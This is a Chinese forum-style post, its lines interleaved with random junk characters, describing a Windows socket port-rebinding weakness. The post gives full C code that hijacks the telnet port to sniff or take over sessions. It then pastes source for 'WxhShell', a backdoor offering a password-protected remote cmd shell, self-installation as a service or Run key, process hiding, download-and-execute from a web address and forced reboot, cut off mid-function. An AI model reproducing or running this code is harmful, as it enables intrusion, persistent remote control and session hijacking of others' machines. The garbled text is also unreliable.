在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
]w-.|vx s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
_@K YF) 7f*
RM saddr.sin_family = AF_INET;
r>O|L%xpv \OY}GRKt saddr.sin_addr.s_addr = htonl(INADDR_ANY);
/?U!y?t&@ b` zET^F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
{mf.!Xev }^ ,q#' 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=JxFp,
Xr O"iak 这意味着什么?意味着可以进行如下的攻击:
>jKjh!`)!e _ Mn6 L= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
wPgDy SiR\a!, C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
h1-Gp3# p#=;)1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EZ{\D!_Y +q-c8z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
]!faA\1 LQ>$>A( 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
6n,xH!7 Yv=g^tw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
T%~SM5 `2e_ L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
-N4z-ozhC GXYj+ qJ #include
_r5wF(Y?7 #include
7>mhK7l #include
\4QH/e #include
B\0t&dai|' DWORD WINAPI ClientThread(LPVOID lpParam);
Eu4 &-i int main()
zi.mq&,]R {
^RDU
p5,T WORD wVersionRequested;
_D
JCsK| DWORD ret;
zR/IqW.`9 WSADATA wsaData;
R\y'_S=#a BOOL val;
RY<%'\A`~ SOCKADDR_IN saddr;
}hq^+fC? SOCKADDR_IN scaddr;
Y/D-V int err;
O8y9dX-2 SOCKET s;
;W6-i2? SOCKET sc;
Vd<K4Tk int caddsize;
'kQ~ HANDLE mt;
n.ct]+L DWORD tid;
CW;m wVersionRequested = MAKEWORD( 2, 2 );
sUV>@UMnu err = WSAStartup( wVersionRequested, &wsaData );
0Z8/R if ( err != 0 ) {
)cKj iXn printf("error!WSAStartup failed!\n");
UFf,+4q return -1;
y@aKNWy}$ }
K:a3+k d saddr.sin_family = AF_INET;
+f$Z-U1H/ ^Et,TF\ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8W$L:{ez K"^cq~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
sZwZWD' saddr.sin_port = htons(23);
yKlU6t&`
G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
i7s\CY {
#fj[kq)&S printf("error!socket failed!\n");
C=yD3mVz return -1;
uQ^hV%|" }
67?n-NP val = TRUE;
2`E!| X //SO_REUSEADDR选项就是可以实现端口重绑定的
eo ?Oir) if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
B/G3T
u uG {
<p/MyqZf printf("error!setsockopt failed!\n");
M?R!n$N_ return -1;
J^h'9iQpi }
FR["e1<0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
dE GX3 - //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
3fl7~Lw, //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
506V0]`/ F1J#Y$q~L
if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
IX.sy {
V]m^7^m3 ret=GetLastError();
-f 4>MG printf("error!bind failed!\n");
82s5VQ6 return -1;
pl?kS8#U? }
k,lqT>C listen(s,2);
l#ZyB| while(1)
%p*`h43; {
rmQ\RP W caddsize = sizeof(scaddr);
F+3!uWUK //接受连接请求
}k| g%HJ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
sjb-Me? if(sc!=INVALID_SOCKET)
VfRs[3Q {
phmVkV2a;# mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
P#v^"}.Wd if(mt==NULL)
"f<#.}8 {
=1IEpxh% printf("Thread Creat Failed!\n");
?yf_Dt break;
=E1tgrW }
{KsVK4\r }
T\fudmj& CloseHandle(mt);
Az9J\V~" }
8F)=n \ closesocket(s);
NA\ x< WSACleanup();
+[_gyLN<5b return 0;
?uig04@3 }
$bFgsy*N2 DWORD WINAPI ClientThread(LPVOID lpParam)
#<UuI9 {
AoIc9ElEX SOCKET ss = (SOCKET)lpParam;
u]0!|Jd0 SOCKET sc;
zu<>"5}] unsigned char buf[4096];
:v#8O~ SOCKADDR_IN saddr;
ey*,StT5a long num;
2]3G1idB DWORD val;
;M-,HK4= DWORD ret;
j
C9<hLt //如果是隐藏端口应用的话,可以在此处加一些判断
%]!?{U\*k //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ExQ--!AC= saddr.sin_family = AF_INET;
w~]}acP saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
aoK4Du{ saddr.sin_port = htons(23);
Txu>/1N, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`BpCRKTG {
RW)k_#%= printf("error!socket failed!\n");
&*jixqzvn return -1;
FbuKZp+ }
c[Yq5Bu{y val = 100;
]a=l^Pc(xN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
oW8;^u {
g&P9UW>qS ret = GetLastError();
5uzpTNAMM1 return -1;
[|jIC }
.N&QW
` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
/%;/pi {
$sM]BE: ret = GetLastError();
L^&do98 return -1;
4">84,-N }
N*?
WUn9] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
iKY-;YK {
jD<9=B(g printf("error!socket connect failed!\n");
:ECw
\_"0$ closesocket(sc);
C>M6&= closesocket(ss);
N4tc V\O return -1;
7@3M]5:3g }
L-SdQTx_ while(1)
E#m76]vkCU {
]D?oQ$q7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
p<ry$=` //如果是嗅探内容的话,可以再此处进行内容分析和记录
Y/#:)(&@ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
2zwuvgiZ num = recv(ss,buf,4096,0);
XNy:0C if(num>0)
*%;6P5n% send(sc,buf,num,0);
+h9`I/R else if(num==0)
MV7} break;
S".owe$\ num = recv(sc,buf,4096,0);
YstXNN4 if(num>0)
bl6':m+ send(ss,buf,num,0);
N IO; else if(num==0)
">03~:oA break;
iFY]0@yt }
H)-L%l|9 closesocket(ss);
Q^\{Zg)p closesocket(sc);
`;R|V return 0 ;
<ihhV e }
Gt?!E6^! f45x%tha % tPQ2kEW ==========================================================
PsacXZNs\N \t[
hg 下边附上一个代码,,WXhSHELL
^a: Saq-} }x>}:"P;W ==========================================================
bwv/{3G,Ys vr5<LNCLQ #include "stdafx.h"
(8+.#1!* hrUm}@d #include <stdio.h>
)WzGy~p8K #include <string.h>
3XM Bu* #include <windows.h>
PL9zNCr-[ #include <winsock2.h>
`@W3sW/^ #include <winsvc.h>
}S1Z>ZA5 #include <urlmon.h>
O(b"F?
w KBp!zSl #pragma comment (lib, "Ws2_32.lib")
Z:W')Nd( #pragma comment (lib, "urlmon.lib")
WlF+unB!9 56/.*qa #define MAX_USER 100 // 最大客户端连接数
N^)<)? #define BUF_SOCK 200 // sock buffer
7/$nA<qM #define KEY_BUFF 255 // 输入 buffer
nI((ki}v $yP'k&b! #define REBOOT 0 // 重启
9J't[(
u|u #define SHUTDOWN 1 // 关机
qen44;\L ^d5gz0d #define DEF_PORT 5000 // 监听端口
vY8WqG] ^'
edE5 #define REG_LEN 16 // 注册表键长度
/TR"\xQF #define SVC_LEN 80 // NT服务名长度
qJe&jLZa i'[n`|c< // 从dll定义API
HPv&vdr3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
%`t]FV^# typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*rujdQf typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
$_%2D3-;D typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I_R5\l}O+D TZvBcNi // wxhshell配置信息
&z{dr~ struct WSCFG {
*RUd!]bh int ws_port; // 监听端口
VuYWb)@ char ws_passstr[REG_LEN]; // 口令
^H@!)+
= int ws_autoins; // 安装标记, 1=yes 0=no
oi%5t)VsS char ws_regname[REG_LEN]; // 注册表键名
a,F8+
Pb> char ws_svcname[REG_LEN]; // 服务名
81%qM7v9H char ws_svcdisp[SVC_LEN]; // 服务显示名
WHdqO8 char ws_svcdesc[SVC_LEN]; // 服务描述信息
dK-
^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:~qtvs;{ int ws_downexe; // 下载执行标记, 1=yes 0=no
Y,<WX
v char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
fD]An< char ws_filenam[SVC_LEN]; // 下载后保存的文件名
]DL>
.<]d ,Jw\3T1V };
.~V".tZV[ x0TnS# // default Wxhshell configuration
3\+[38 _ struct WSCFG wscfg={DEF_PORT,
VdjU2d
"xuhuanlingzhe",
Cz$Hk;3\6 1,
jSOa "Wxhshell",
q_%w
l5\F "Wxhshell",
Y'+F0IZ+ "WxhShell Service",
8xeun~e"vS "Wrsky Windows CmdShell Service",
Xm0&U?dZB "Please Input Your Password: ",
oK(W)[u 1,
N'Z_6A*- "
http://www.wrsky.com/wxhshell.exe",
4`EvEv$i "Wxhshell.exe"
GT1 X };
!<['iM ||"":K // 消息定义模块
{U+9,6.` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T^-H_|/M char *msg_ws_prompt="\n\r? for help\n\r#>";
,i$(yx? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
)KTWLr; char *msg_ws_ext="\n\rExit.";
i85+p2i7 char *msg_ws_end="\n\rQuit.";
hz>yv@1 char *msg_ws_boot="\n\rReboot...";
S{`!9Pii char *msg_ws_poff="\n\rShutdown...";
F?+Uar|-a char *msg_ws_down="\n\rSave to ";
|tolgdj M7cI$=G char *msg_ws_err="\n\rErr!";
J T0,Z char *msg_ws_ok="\n\rOK!";
!@]h@MC$7 K_w0+oY a char ExeFile[MAX_PATH];
*6\`A!C int nUser = 0;
3ec==. HANDLE handles[MAX_USER];
Nsy9
h}+A int OsIsNt;
Hi4@!] 5G42vTDzS4 SERVICE_STATUS serviceStatus;
;]O 7^s#v SERVICE_STATUS_HANDLE hServiceStatusHandle;
Rp4BU"&sU f@x( ,p // 函数声明
E}CqVuU$ int Install(void);
(fLbg, int Uninstall(void);
=>9.@`. int DownloadFile(char *sURL, SOCKET wsh);
tr67ofld| int Boot(int flag);
a\HtxR8L void HideProc(void);
H?zCIue3 int GetOsVer(void);
V=8{CmqT int Wxhshell(SOCKET wsl);
=:R[gdA#1 void TalkWithClient(void *cs);
)eedfb1 int CmdShell(SOCKET sock);
%]= 'Uv^x int StartFromService(void);
2Y g[8Tm# int StartWxhshell(LPSTR lpCmdLine);
bQ:3G; w1!\L_::Y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q5K/+N^2? VOID WINAPI NTServiceHandler( DWORD fdwControl );
)uv$tnP* lG^mW\O // 数据结构和表定义
yrvSbqR SERVICE_TABLE_ENTRY DispatchTable[] =
?U.&7yY {
L^ jC&
dF {wscfg.ws_svcname, NTServiceMain},
YQ[&h {NULL, NULL}
9Av- ;!] };
5IF~]5s BX)cV // 自我安装
W~@GK int Install(void)
M$-(4 0 {
yKk,); char svExeFile[MAX_PATH];
4@V <Suw HKEY key;
p=P0$P+KM strcpy(svExeFile,ExeFile);
iRr&'k
M6 >\R$ // 如果是win9x系统,修改注册表设为自启动
0T{Y_IG if(!OsIsNt) {
9[]"%6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gQzJ2LU( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0_xcrM RegCloseKey(key);
bU +eJU_% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
J;]@?( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
NB6h/0*v RegCloseKey(key);
#L*@~M^] return 0;
%cjGeS6} }
KL_}:O68 }
.^+$w$ }
r3bvuq,6$ else {
A,CPR0g%
0{Ll4 // 如果是NT以上系统,安装为系统服务
pUEok + SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
W&re;?Z{ke if (schSCManager!=0)
Q9'p3"yoE {
$4~}_phi SC_HANDLE schService = CreateService
a_fW{;}[ (
`\FjO" schSCManager,
o5G "J"vxe wscfg.ws_svcname,
s$y#Ufz wscfg.ws_svcdisp,
/v ;Kb|e SERVICE_ALL_ACCESS,
a0W\? SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
arH\QPaka' SERVICE_AUTO_START,
J,M5<s[Xqt SERVICE_ERROR_NORMAL,
oP`M\KXau svExeFile,
o%JIJ7M NULL,
Xs,PT NULL,
F>-@LOqHy NULL,
s\1_-D5]Z NULL,
.nY6[2am NULL
g4qdm{BL );
HkB<RsS$p_ if (schService!=0)
C-
Rie[ {
YaZ"&i CloseServiceHandle(schService);
&-)Y[#\J
CloseServiceHandle(schSCManager);
-/{}^QWB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
WsDe0F strcat(svExeFile,wscfg.ws_svcname);
>\x
39B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
]SR`96vG RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"^e?E:( 3 RegCloseKey(key);
h}<ZZ return 0;
5Cyjq0+ }
t4c#' y }
h9smviU7u CloseServiceHandle(schSCManager);
J#Ehx| }
.E8p-R5)V> }
EuA<{%i Qi]Z)v{^ return 1;
cTx/Y&\9 }
LsZ!':LN 3kQ8*S // 自我卸载
SpiC0 int Uninstall(void)
*K^O oS {
#]/T9: HKEY key;
Ca"+t
lO 1e| M6* if(!OsIsNt) {
g*imswj7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/%w[q:..h RegDeleteValue(key,wscfg.ws_regname);
u`2k6.- RegCloseKey(key);
s3!LR2qiF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;<R_j%* RegDeleteValue(key,wscfg.ws_regname);
R*fR? RegCloseKey(key);
^b.
MR ?9 return 0;
j;'Wf[V }
Z6@J-<u }
'yjH~F. }
!#s7 F else {
O +}EE^*a Rw8m5U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
&nw~gSe if (schSCManager!=0)
Ou,_l {
YEoT_>A$dB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
V
*y if (schService!=0)
;7*@Gf}R {
M:f=JuAx if(DeleteService(schService)!=0) {
C2i..iD CloseServiceHandle(schService);
~y^lNgujO CloseServiceHandle(schSCManager);
<&Xq`i/( return 0;
R*C+Yk)Tkt }
Dx)XC?'xO CloseServiceHandle(schService);
/ {~h?P} }
l;kZS CloseServiceHandle(schSCManager);
g}KZL-p4\m }
^}\R]})w" }
]arskmB] s4k%ty} return 1;
@&yj7-] }
ebK
wCZwK* _\;#a // 从指定url下载文件
?tQv|x int DownloadFile(char *sURL, SOCKET wsh)
rL"k-5>fd {
=)5a=^
6 HRESULT hr;
@23x;x char seps[]= "/";
=6YO!B>7 char *token;
3mz>Y*^?0 char *file;
Yk&{VXU< char myURL[MAX_PATH];
l);8y5 char myFILE[MAX_PATH];
MoHvXp;X ') y~d strcpy(myURL,sURL);
)KQum`pO token=strtok(myURL,seps);
X;>} ;LiK while(token!=NULL)
=upP3rw {
H;&t"Ql. file=token;
.w)t<7 y token=strtok(NULL,seps);
%;?3A# }
Z`t?kXDNoI E=trJge GetCurrentDirectory(MAX_PATH,myFILE);
6LQ O>k strcat(myFILE, "\\");
ZfikNQU9r strcat(myFILE, file);
Mp=+*I[ send(wsh,myFILE,strlen(myFILE),0);
RtL'fd send(wsh,"...",3,0);
_3[BS9 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6s2g +[ if(hr==S_OK)
Ma#-'J return 0;
m/Z_ HER^ else
5C?1`-&65V return 1;
:h~!#;w_ <2d@\"AoHE }
Ij_`=w< h_!"CF<n // 系统电源模块
gv-k}2u_ int Boot(int flag)
s'4p+eJ {
RVnYe=' HANDLE hToken;
$g;xw?~# TOKEN_PRIVILEGES tkp;
yG4MqR)J --sb ;QG if(OsIsNt) {
%L.+r!. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SiT &p LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Pc1N~?}. tkp.PrivilegeCount = 1;
:[3\jLrc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c*Nbz,: AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
T7'$A!c if(flag==REBOOT) {
=p6xc}N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
rgY~8PY" return 0;
q4=RE }
+dv@N3GV else {
'h6RZKG T if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bHnQLJ return 0;
?#m5$CFp }
9n7d
"XD2 }
P+UK@~D+G else {
i|mA/
e3b if(flag==REBOOT) {
Ex3woT- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
-C+vmY*@ return 0;
`fyAV@X }
%*nZ,r else {
_#:1Axx1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
|z%,W/Ef return 0;
b'YbHUyu }
M&dtXG8<^ }
#UQ[8e Apn#o2 return 1;
.w~USJ=X }
:*1w;>o)n R7i*f/m // win9x进程隐藏模块
A-FwNo2"% void HideProc(void)
0"N %Vm {
w6_}]
&F 51vK> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
W#!\.m`5 if ( hKernel != NULL )
\2jY)UrQs {
V|)> pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
XvdhPOMy ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7-DC"`Y8e FreeLibrary(hKernel);
c
z|IBsa* }
jYkx]J%S rxARJso return;
2wd(0K}b }
$c-3Q|C i*<,@* // 获取操作系统版本
fVM%.` int GetOsVer(void)
CvN~ {
XHr{\/4V OSVERSIONINFO winfo;
:$j~;)2 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
O 2U/zF:X GetVersionEx(&winfo);
Li2)~4p>< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
oa|0= return 1;
VsC]z,
oV else
J:5n/m^A return 0;
RjDFc:bB }
P(`IY+ g:Dg?_o // 客户端句柄模块
&a`-NRU# int Wxhshell(SOCKET wsl)
OjN]mp-q {
!4E:IM63 SOCKET wsh;
ZZTV
>: struct sockaddr_in client;
Cv| :.y
DWORD myID;
? _W*7< 4Qv|Z+$i while(nUser<MAX_USER)
`Ao:} {
>HFJm&lQ int nSize=sizeof(client);
3{ci]h`:y8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
o$-Phl if(wsh==INVALID_SOCKET) return 1;
UZ1lI> Z9U*SS5s, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
h@J`:KO if(handles[nUser]==0)
)d(cXN-T closesocket(wsh);
(]1%s?ud* else
(/Ubw4unI nUser++;
rnr7t \a~] }
[D t`@Dm WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
d>%_<pw /$n${M5! return 0;
1Jahu!c? }
8.,PgS
<ygO?m{ // 关闭 socket
"CaVT7L void CloseIt(SOCKET wsh)
pQp}HD!- {
|"mb59X closesocket(wsh);
Rww KPE nUser--;
T.pPQH__ ExitThread(0);
uk1IT4+ }
C.@zVt lY 1m% // 客户端请求句柄
oqj3Q
1 void TalkWithClient(void *cs)
HV sIbQS {
s#Le`pGoW Ev()2 80 SOCKET wsh=(SOCKET)cs;
~DJ/sY2/ char pwd[SVC_LEN];
;'h7
j*6 char cmd[KEY_BUFF];
r=9*2X# char chr[1];
)S%mKdOm
$ int i,j;
t`LH\]6@ xWD wg@ P while (nUser < MAX_USER) {
?*T`a oB +z4NxR
if(wscfg.ws_passstr) {
EU+sTe > if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
v}!,4,]:& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
cq 0jM;@d //ZeroMemory(pwd,KEY_BUFF);
]8mBFr5E9 i=0;
%:??QD* while(i<SVC_LEN) {
wy^>i$TC j'7FTVmJ // 设置超时
6wF?FtT fd_set FdRead;
8\yH7H struct timeval TimeOut;
#*9*[Xbi FD_ZERO(&FdRead);
K9*K4'#R FD_SET(wsh,&FdRead);
Kg.E~ TimeOut.tv_sec=8;
JK1b68n TimeOut.tv_usec=0;
I[&!\Me[+w int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
t*DM^.@ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
F/!C=nS v7ae^iU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
U'\\(m| pwd
=chr[0]; =3}+f-6"'
if(chr[0]==0xd || chr[0]==0xa) { S"Efp/-
pwd=0; 'C[gcp
break; rGN-jb)T+
} nBNZ@nD
i++; BjB2YO& /
} ;w1h)
S4|)N,#
// 如果是非法用户,关闭 socket -F*j`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5B51^"
} >V]>h&`
nZ{~@E2
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MM97$
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v!x=fjr<
o$Jk27
while(1) { /O8'8 sL5
M0^r!f>O
ZeroMemory(cmd,KEY_BUFF); 0]" j,
,@P3!|
// 自动支持客户端 telnet标准 ]03!KE
j=0; F~{4)`
while(j<KEY_BUFF) { E&97;VH
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Zs;m`j&9
cmd[j]=chr[0]; ?56Zw"89
if(chr[0]==0xa || chr[0]==0xd) { \O^=
Z{3y
cmd[j]=0; bT8BJY%+
break; HkQ2G}<
} p}j{<y
j++; K46mE
} QJv,@@mu
B a Xzz
// 下载文件 HVC\(h,)i
if(strstr(cmd,"http://")) { D0(gEb
send(wsh,msg_ws_down,strlen(msg_ws_down),0); C&"8A\we
if(DownloadFile(cmd,wsh)) *EotYT
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6E
else )d s(/P5b
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n%ld*EgY
} {2V=BDS|?K
else { C5eol &
#Q;#A |EZ
switch(cmd[0]) { %2>FSE
p,xM7V"O)
// 帮助 mhcJ0\@_
case '?': { (US8Sc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1Og9VG1^
break; 6R?J.&|
} 7C&`i}/t
// 安装 #!<x|N?_<
case 'i': { u'=#~'6
if(Install()) SK-|O9Ki
send(wsh,msg_ws_err,strlen(msg_ws_err),0); q6osRK*20
else K7CiICe
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xvgIYc{
break; N'^ 0:zK:
} [V1gj9t=,
// 卸载 E
fqa*,k
case 'r': { >(\[ $
if(Uninstall()) ZkqC1u3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ka]n+"~==\
else X.JB&~/rO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l ='lV]
break; 2!jbaSH(+
} U:`rNHl
// 显示 wxhshell 所在路径 >;HXH^q
case 'p': { ( /uL6W d0
char svExeFile[MAX_PATH]; BURiLEYZl
strcpy(svExeFile,"\n\r"); Z-:$)0f
strcat(svExeFile,ExeFile); u0i
@.
send(wsh,svExeFile,strlen(svExeFile),0); s
n?
break; 4I,HvP
} fF>H7
// 重启 qT}&XK`Q^
case 'b': { 2*Gl|@~N
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (spX3n%p
if(Boot(REBOOT)) XLM 9+L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :S,#*rPKBK
else { 1-q\C<Q)
closesocket(wsh); Q9rE_}Z
ExitThread(0); U~7.aZHPx3
} !N!M
NsyDz
break; ph69u #Og
} J@1 (2%)|Z
// 关机 4,)=r3;&!
case 'd': { b"x:IDW qG
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m
81\cg
if(Boot(SHUTDOWN)) Q,jlKgB5:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w $2-t
else { \2~.r/`1
closesocket(wsh); 's*UU:R
ExitThread(0); 4u:{PN
} SqEO
]~
break; c-gaK\u}j}
} ^B5Hjf9
// 获取shell QAX+oy
case 's': { 1)k))w 9
CmdShell(wsh); G|H\(3hHLZ
closesocket(wsh); Y/{Z`}
ExitThread(0); rNI3_|a
break; 4
9#I
} \QHM7C T
// 退出 ,m0=zH4+:
case 'x': { 0k3^+#J
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +y -:(aP
CloseIt(wsh); :<nL9y jt
break; :@Q_oyWE8
} #
VR}6Jv
// 离开 UY>{e>/H9
case 'q': { 78 3a Z8
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,/Xxj\i
closesocket(wsh);
E?%k
WSACleanup(); f *)t<1f
exit(1); Ndx='j0
break; t-/%|@?D
} RCoz;|c`P
} F[~qgS*;
} #U!J2240
~lQ]PKJ"
// 提示信息 ]\Ez{MdAT
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mz/KGZ5t
} t$s)S>
} Rk`c'WP0*
GfVMj7{
return; <y!6HJ"
} hj9bMj
x~KS;hA
// shell模块句柄 6:QJ@j\
int CmdShell(SOCKET sock) vW~_+:),e
{ mb?yG:L=0b
STARTUPINFO si; HaLEQ73
ZeroMemory(&si,sizeof(si)); #r0A<+t{T
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _pk=IHGsB
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; idz6m]{~yT
PROCESS_INFORMATION ProcessInfo; BXm{x6\
char cmdline[]="cmd"; Be?mIwc_g
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,P5HR+h
return 0; yUBic~S
} a'Aru^el
~>)cY{wE_
// 自身启动模式 '0?5K0
2(
int StartFromService(void) g"<kj"
{ \#~~,k
6f
typedef struct gNe{P~ $=
{ o$2fML
DWORD ExitStatus; BXLhi(.s
DWORD PebBaseAddress; |n Mbf
DWORD AffinityMask; j^:\a\-1
DWORD BasePriority; 3",6 E(
ULONG UniqueProcessId; ISOPKZ#F
